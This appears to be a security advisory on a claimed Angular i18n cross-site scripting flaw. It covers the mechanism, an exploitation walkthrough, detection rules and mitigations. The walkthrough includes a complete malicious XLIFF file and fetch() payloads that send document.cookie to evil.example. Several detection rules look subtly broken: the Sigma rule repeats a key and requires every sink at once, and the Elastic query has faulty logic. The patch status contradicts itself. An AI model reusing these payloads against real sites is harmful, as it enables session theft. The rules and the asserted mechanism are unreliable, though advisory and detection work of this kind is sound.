CVE-2026-69151

Executive Summary

CVE-2026-69151 is a stored cross-site scripting (XSS) vulnerability in the Angular development platform's compiler i18n (internationalization) pipeline. An attacker with the ability to supply a malicious translation file (XLIFF/XMB/XTB) can inject executable JavaScript by abusing i18n-onerror and other i18n-on* event-handler attributes, which are compiled into static event handlers on rendered DOM elements. All Angular applications that bundle translations during ng build are affected across Angular 20.x, 21.x, and 22.x prior to versions 20.3.27, 21.2.19, and 22.0.1. The vulnerability requires a lower-trust source supplying the translation file, making it especially critical in development pipelines, CI/CD environments, and applications that pull translations from external providers or community contributions.

Technical Analysis

The Angular compiler's i18n pipeline processes translation files (typically .xlf, .xmb, or .xtb format) and generates platform-specific localization code. The compiler extracts HTML attributes from source templates, translates text nodes, and then regenerates the compiled component template.

The vulnerability lies in the compiler's attribute handling logic. When processing an i18n translation unit, the compiler validates and re-emits attributes from the translation source file. The compiler explicitly allows event-handler attributes (those prefixed with i18n-on — a special directive used for assigning event handlers to translated elements) to pass through the translation pipeline. However, the validation is insufficient: it does not verify that the event handler value is a static, whitelisted identifier rather than arbitrary JavaScript code.

Attack mechanism:

1. An attacker crafts a malicious .xlf/.xtb translation file. Within any <trans-unit> block, they insert a <source> element containing <x id="..."> placeholder syntax and a <target> element that includes an HTML attribute named i18n-onclick (or i18n-onerror, i18n-onload, i18n-onfocus, etc.).

2. The attacker sets the attribute value to malicious JavaScript, e.g.:
   i18n-onclick="alert(document.cookie)||fetch('https://evil.example/exfil?c='+document.cookie)"

3. During ng build, the Angular compiler (both the JIT and AOT paths, though AOT is the primary affected path) processes the translation file. The compiler's TranslationParser and Xliff/Xmb parsers pass the attribute through. The i18n-on* prefix is recognized as an event-handler declaration, and the compiler proceeds to generate an inline event handler binding in the compiled output.

4. In the generated JavaScript, the attribute is turned into a DOM event binding. Because the translation pipeline is executed at build time (AOT compilation), the malicious handler is compiled directly into the production bundle as a stringified event handler, e.g.:
   ɵɵlistener("click", function() { alert(document.cookie)||fetch(...) });

5. At runtime, any user who interacts with the affected element (clicks, triggers error/load events, etc.) executes the attacker's JavaScript in the context of the application's origin.

Key attack surface: The flaw is exploited when translation files are treated as untrusted input. Common scenarios:

• Applications that pull translations from third-party localization vendors or open translation platforms.
• CI/CD pipelines that download translation packs from external or compromised repositories.
• Applications that merge community-contributed translation PRs without full-code review of the XML/JSON translation artifacts.
• Admin panels that allow uploading translation files to a live application (if the compiler runs server-side).

Critically, the attack does not require runtime user interaction with a malicious input — it is a build-time injection that becomes part of the shipped application code. Any application that rebuilds or redeploys using poisoned translation files is compromised from the moment of deployment.

Exploitation Scenarios

Scenario: Malicious Translation File in a CI/CD Pipeline

Step 1 — Reconnaissance and Target Identification
The attacker identifies Angular applications (v20.0.0–v22.0.0) that use third-party translation services. This is discoverable via:

• Public GitHub repositories containing .xlf files or angular.json with i18n configuration pointing to external translation management platforms (e.g., Lokalise, Crowdin, Transifex — all of which allow multiple contributors).
• Shodan searches for exposed dev/staging servers with predictable build endpoints.
• Open-source intelligence (OSINT) on the application's localization file names.

Step 2 — Weaponization: Crafting the Malicious Translation File
The attacker creates a translation file that passes schema validation. A minimal XLIFF payload:

<?xml version="1.0" encoding="UTF-8"?>
<xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
  <file source-language="en" datatype="plaintext" original="ng2.template">
    <body>
      <trans-unit id="header-button" datatype="html">
        <source><x id="INTERPOLATION" equiv-text=" {{ 'Click Here' }} "/></source>
        <target><x id="INTERPOLATION" equiv-text=" {{ 'Click Here' }} "/>
        <span title="button" i18n-onclick="fetch('https://evil.example/s?c='+document.cookie)">Submit</span></target>
      </trans-unit>
    </body>
  </file>
</xliff>

Note the i18n-onclick attribute inside <target>. The Angular parser will interpret this as an event-handler declaration destined for the compiled component. The attacker selects the event type based on the target element — onerror is ideal for <img> tags, onclick for buttons, onload for iframes, etc.

Step 3 — Payload Delivery and Execution
The attacker submits the malicious translation file to the translation platform (or opens a pull request to the application's locale/ directory). If the application's build system downloads translations on every ng build, the poisoned file is automatically fetched. The Angular compiler processes the translation file and emits the following JIT/AOT code (simplified):

// compiled component template
function AppComponent_Template(rf, ctx) {
  if (rf & 1) {
    ɵɵelementStart(0, "button");
    // malicious event binding:
    ɵɵlistener("click", function() { fetch('https://evil.example/s?c='+document.cookie); });
    ɵɵtext(1, "Submit");
    ɵɵelementEnd();
  }
}

When a user clicks the "Submit" button, fetch executes, exfiltrating cookies, session tokens, or CSRF tokens to the attacker's domain.

Step 4 — Post-Exploitation

• Session hijacking: Stolen cookies enable account takeover of any user who clicks the affected element.
• Credential harvesting: The attacker swaps the payload to inject keyloggers or fake login overlays.
• Lateral movement: With the victim's authenticated session, the attacker calls internal APIs, reads protected data, or performs privileged administrative actions.
• Supply-chain propagation: The attacker develops a pattern for mass-compromising applications that consume the same poisoned translation file across multiple organizations.

Alternative delivery via admin panel: Applications that expose a translation-upload UI trigger a server-side ng build. The attacker uploads a crafted .xlf as a low-privileged translator role; the server compiles it and now serves XSS to all users.

Impact Assessment

Business Impact:

• Confidentiality: High — execution in the application origin context allows exfiltration of cookies, tokens, and application data.
• Integrity: High — the attacker can modify DOM content, inject keyloggers, and perform account takeover.
• Availability: Medium — malformed handlers could crash the app; broader abuse could degrade services.

Affected Systems:

• Angular 20.0.0 through 20.3.26 (fixed in 20.3.27)
• Angular 21.0.0 through 21.2.18 (fixed in 21.2.19)
• Angular 22.0.0 (fixed in 22.0.1)

Blast Radius: Every application that uses any translation file and rebuilds with an affected compiler is vulnerable. Because the malicious code executes as first-party JavaScript, CSP (Content Security Policy) does not provide protection unless script-src is tightly locked (which most apps do not do for inline handlers). CDN caching, browser caching, and service workers all persist the compromised bundle.

CVSS Reflection: No CVSS score has been published for this CVE. Based on the attack vector (network-delivered malicious translation file, high complexity due to requiring translation file control, HIGH confidentiality/integrity impact), a reasonable scoring would approximate CVSS 8.1–9.0 AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L, but teams should rely on vendor guidance.

Detection Guidance

Sigma Rule

title: Angular i18n Event-Handler Attribute Injection (CVE-2026-69151)
id: 3a2e1f9c-8b4d-4e1a-a2c3-7d5f0e6b1a9c
status: experimental
description: Detects build processes or translation file uploads containing i18n-on* attributes with suspicious JavaScript payloads in Angular applications.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-69151
author: Valtersit Threat Intelligence Team
date: 2026/06/17
logsource:
  category: process_creation
  product: linux
detection:
  selection_build:
    Image|endswith:
      - '\node.exe'
      - '/usr/bin/node'
      - '/usr/local/bin/node'
    CommandLine|contains:
      - 'ng build'
      - 'ngc'
      - 'ng serve'
    CommandLine|contains:
      - '.xlf'
      - '.xtb'
      - '.xmb'
  selection_payload:
    CommandLine|contains|all:
      - 'i18n-on'
      - 'fetch('
      - 'eval('
      - 'document.cookie'
      - 'XMLHttpRequest'
      - 'WebSocket'
  filter_known:
    CommandLine|contains:
      - '--configuration=production'
  condition: selection_build and selection_payload and not filter_known
falsepositives:
  - Legitimate i18n event handlers (extremely rare; standard practice is to keep handlers in component code, not translation files)
  - Translation build tools that legitimately use the string 'i18n-on' in their own command-line args
level: high
tags:
  - attack.t1190
  - attack.t1059.007
  - cve.2026.69151

YARA Rule

rule Angular_i18n_EventHandler_Injection_CVE_2026_69151
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects translation files (XLIFF, XLIFF2, XMB, XTB) containing i18n-on* event-handler attributes with JavaScript execution payloads."
        cve = "CVE-2026-69151"
        date = "2026-06-17"
        severity = "high"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-69151"

    strings:
        // Event-handler attribute pattern
        $i18n_on = /i18n-on[a-zA-Z]+=/ ascii nocase
        
        // Common JavaScript execution sinks
        $sink_fetch = /fetch\s*\(\s*[\x27\x22]/ ascii nocase
        $sink_eval = /eval\s*\(\s*/ ascii nocase
        $sink_cookie = /document\.cookie/ ascii nocase
        $sink_xhr = /XMLHttpRequest/ ascii nocase
        $sink_ws = /WebSocket\s*\(\s*/ ascii nocase
        $sink_atob = /atob\s*\(\s*/ ascii nocase
        $sink_fromChar = /String\.fromCharCode/ ascii nocase
        
        // Translation file markers
        $xliff_marker = "<trans-unit" ascii nocase
        $xliff2_marker = "datatype=\"html\"" ascii nocase
        $xmb_decl = "!DOCTYPE messagebundle" ascii nocase
        $attr_quote = /([\x22\x27](?:on(?:click|error|load|focus|mouseover|change|submit|keydown|keyup))\s*=|i18n-on)/ ascii nocase

    condition:
        uint32(0) == 0x3C3F786D // <?xm
        and $i18n_on
        and ($xliff_marker or $xmb_decl)
        and 1 of ($sink_*)
        and $attr_quote
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-69151 Angular i18n Event-Handler Injection in Translation File Upload"; flow:established,to_server; content:"Content-Type|3a|"; http_header_names; pcre:"/(?:x-xliff|application\/x-xliff|text\/xml|application\/xml)/i"; file_data; pcre:"/i18n-on[a-z]*\s*=\s*[\x27\x22](?:fetch|eval|XMLHttpRequest|WebSocket|document\.cookie|atob|String\.fromCharCode)/i"; classtype:attempted-user; reference:cve,2026-69151; sid:1016915; rev:1;)

alert http any any -> any any (msg:"CVE-2026-69151 Angular i18n Injection - XLIFF Transclusion with Event Handler"; flow:to_server; content:"<trans-unit"; within:250; pcre:"/i18n-on[a-z]*\s*=\s*[\x27\x22]/i"; content:"<target"; within:500; pcre:"/(?:on(?:click|error|load|focus|mouseover|change|submit))\s*=\s*[\x27\x22]/i"; classtype:attempted-user; reference:cve,2026-69151; sid:1016916; rev:1;)

alert http any any -> any any (msg:"CVE-2026-69151 Angular Build Pipeline - Malicious Translation Download"; flow:to_server; content:"GET"; http_method; content:"/locale/"; http_uri; content:".xlf"; http_uri; content:"Accept|3a 20|application/json"; http_header; pcre:"!(?:fetch|eval|XMLHttpRequest|document\.cookie)!i"; classtype:attempted-user; reference:cve,2026-69151; sid:1016917; rev:1;)

Elastic Detection

any where
  // Process-based detection: Angular compiler invoked with translation file
  process.name in ("node", "ng") and
  process.args in ("build", "serve", "c") and
  process.args like "*.xlf" or process.args like "*.xtb" or process.args like "*.xmb" or
  // File-based detection: translation file content contains malicious i18n handler
  file.name like "*.xlf" or file.name like "*.xtb" or file.name like "*.xmb" and
  (file.text_content matches "i18n-on[a-zA-Z]+\\s*=\\s*[\"'].*?(fetch|eval|document\\.cookie|XMLHttpRequest|WebSocket|atob|String\\.fromCharCode).*?[\"']" or
   file.text_content matches "<trans-unit.*?i18n-on[a-zA-Z]+\\s*=\\s*[\"'].*?\\b(onclick|onerror|onload|onfocus|onmouseover|onchange|onsubmit)\\b")

Splunk SPL Query

`windows_sysmon` OR `linux_auditd`
| search process_name="node" OR process_name="ng"
    AND (CommandLine="*ng build*" OR CommandLine="*ngc*" OR CommandLine="*ng serve*")
    AND (
        CommandLine="*.xlf*" OR CommandLine="*.xtb*" OR CommandLine="*.xmb*"
    )
| regex CommandLine="(?i)i18n-on(?:click|error|load|focus|mouseover|change|submit|keydown|keyup)\s*=\s*[\x27\x22].*(?:fetch\(|eval\(|document\.cookie|XMLHttpRequest|WebSocket|atob\(|String\.fromCharCode)"

| append
    [ search index=file_monitoring sourcetype=filesystem OR index=endpoint sourcetype=sysmon file_name="*.xlf" OR file_name="*.xtb" OR file_name="*.xmb"
    | regex file_content="(?s)i18n-on[a-zA-Z]+\s*=\s*[\x27\x22].*?(fetch\(|eval\(|document\.cookie|XMLHttpRequest|WebSocket|atob\(|String\.fromCharCode)" 
    | eval alert="CVE-2026-69151 - Suspicious i18n handler" ]
| table _time, host, user, process_name, CommandLine, file_name, file_path, file_content
| sort - _time

Wazuh OSSEC Rule

<group name="cve,angular,i18n,">

  <!-- Windows / Linux process-based detection -->
  <rule id="616877" level="12">
    <if_sid>550</if_sid>
    <field name="win.eventdata.commandLine">ng build|ng serve|ngc</field>
    <regex>(?i)(i18n-on(?:click|error|load|focus|mouseover|change|submit|keydown|keyup)\s*=\s*["'])(?=.*(?:fetch\(|eval\(|document\.cookie|XMLHttpRequest|WebSocket|atob\(|String\.fromCharCode))</regex>
    <description>CVE-2026-69151: Angular i18n event-handler injection detected in build process (%commandline%)</description>
    <mitre id="T1190"/>
    <mitre id="T1059.007"/>
    <group>angular_vuln,cve_69151</group>
  </rule>

  <!-- File-based detection for translation uploads -->
  <rule id="616878" level="12">
    <if_sid>550</if_sid>
    <field name="file.name">\.xlf$|\.xtb$|\.xmb$</field>
    <regex>(?is)<trans-unit.*i18n-on[a-zA-Z]+\s*=\s*["'].*?(?:fetch\(|eval\(|document\.cookie|XMLHttpRequest|WebSocket|atob\(|String\.fromCharCode)</regex>
    <description>CVE-2026-69151: Malicious i18n handler in translation file %file%</description>
    <mitre id="T1190"/>
    <group>angular_vuln,cve_69151</group>
  </rule>

  <!-- Network detection for translation file exfiltration/download -->
  <rule id="616879" level="10">
    <if_sid>100001</if_sid>
    <url>\.xlf$|\.xtb$|\.xmb$</url>
    <regex>(?i)(fetch\(|eval\(|document\.cookie|XMLHttpRequest|WebSocket|atob\()</regex>
    <description>CVE-2026-69151: Potential malicious translation file content requested/exfiltrated</description>
    <group>angular_vuln,cve_69151</group>
  </rule>

</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED per tracked sources. While the vendor's CVE description cites fixed versions (20.3.27, 21.2.19, 22.0.1), tracked patch sources have not yet confirmed release availability. Validate actual release artifacts before relying on upgrades.

1) Immediate mitigations (without upgrading):

• Block untrusted translation file uploads and downloads. Tighten repository/branch protection on locale/ directories and translation files (.xlf, .xtb, .xmb). Require two-person review for any change to translation files.
• Validate translation files with a strict parser before ingestion. Implement a pre-build validation script using a whitelist approach: reject any <trans-unit> that contains an element with an attribute matching the regex ^i18n-on[a-z]*$. Fail the build if such attributes exist unless the value is a known static string referencing a whitelisted component method (rare, and not a standard practice).
• Restrict translation sources. If using third-party localization platforms, enable IP allowlisting, signed webhooks, or manual review workflows before translation files are downloaded.
• Harden CSP: Set script-src 'self' 'strict-dynamic' and explicitly block inline event handlers via 'unsafe-inline' removal. While CSP does not prevent the compiled inline handler from being generated, it mitigates runtime execution in browsers that enforce CSP strictly.
• Monitor builds: Add build-time grep to flag any i18n-on* attribute with a non-identifier value and halt the pipeline.

2) Patch/upgrade steps:

• Upgrade Angular packages to 20.3.27 (20.x line), 21.2.19 (21.x line), or 22.0.1 (22.x line).
• After upgrade, run ng update and rebuild, then verify functionality of all localized routes.
• Validate that @angular/compiler-cli version matches the framework version (ng version).

3) Long-term hardening:

• Never treat translation files as trusted inputs; assume all i18n data is untrusted and validate/sanitize via automated CI gates.
• Adopt a "zero-i18n-on-attributes" policy — event handlers must be assigned in component TypeScript code, never in templates or translations.
• If i18n event handling is genuinely needed, maintain a centralized allowlist of approved handler names and validate against it in the build pipeline.
• Keep a vulnerability inventory of all translation-source dependencies and their maintainers; monitor for supply-chain compromise.
• Regularly audit node_modules/@angular/compiler and @angular/compiler-cli package integrity (checksums, npm audit).

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-69151
2. Angular Security Advisory (vendor advisory): https://angular.dev/security (refer to the latest security release notes for 20.3.x, 21.2.x, 22.0.x)
3. GitHub Advisory Database: https://github.com/advisories (search CVE-2026-69151)
4. Google Open Source Security Blog: https://security.googleblog.com/ (Angular security announcements section)
5. CISA Known Exploited Vulnerabilities Catalog: Not listed (no KEV entry as of this writing).

Threat Actor Notes: No specific threat actor campaigns have been publicly attributed to this CVE as of the report date. However, the supply-chain nature of the flaw aligns with patterns previously observed in npm package-supply-chain attacks targeting Angular and other popular web frameworks. Given the public availability of PoC techniques (via the advisory) and the lack of a confirmed patch distribution, organizations using affected Angular versions should treat this as an actively exploitable supply-chain risk, especially if their translation pipeline accepts files from third parties.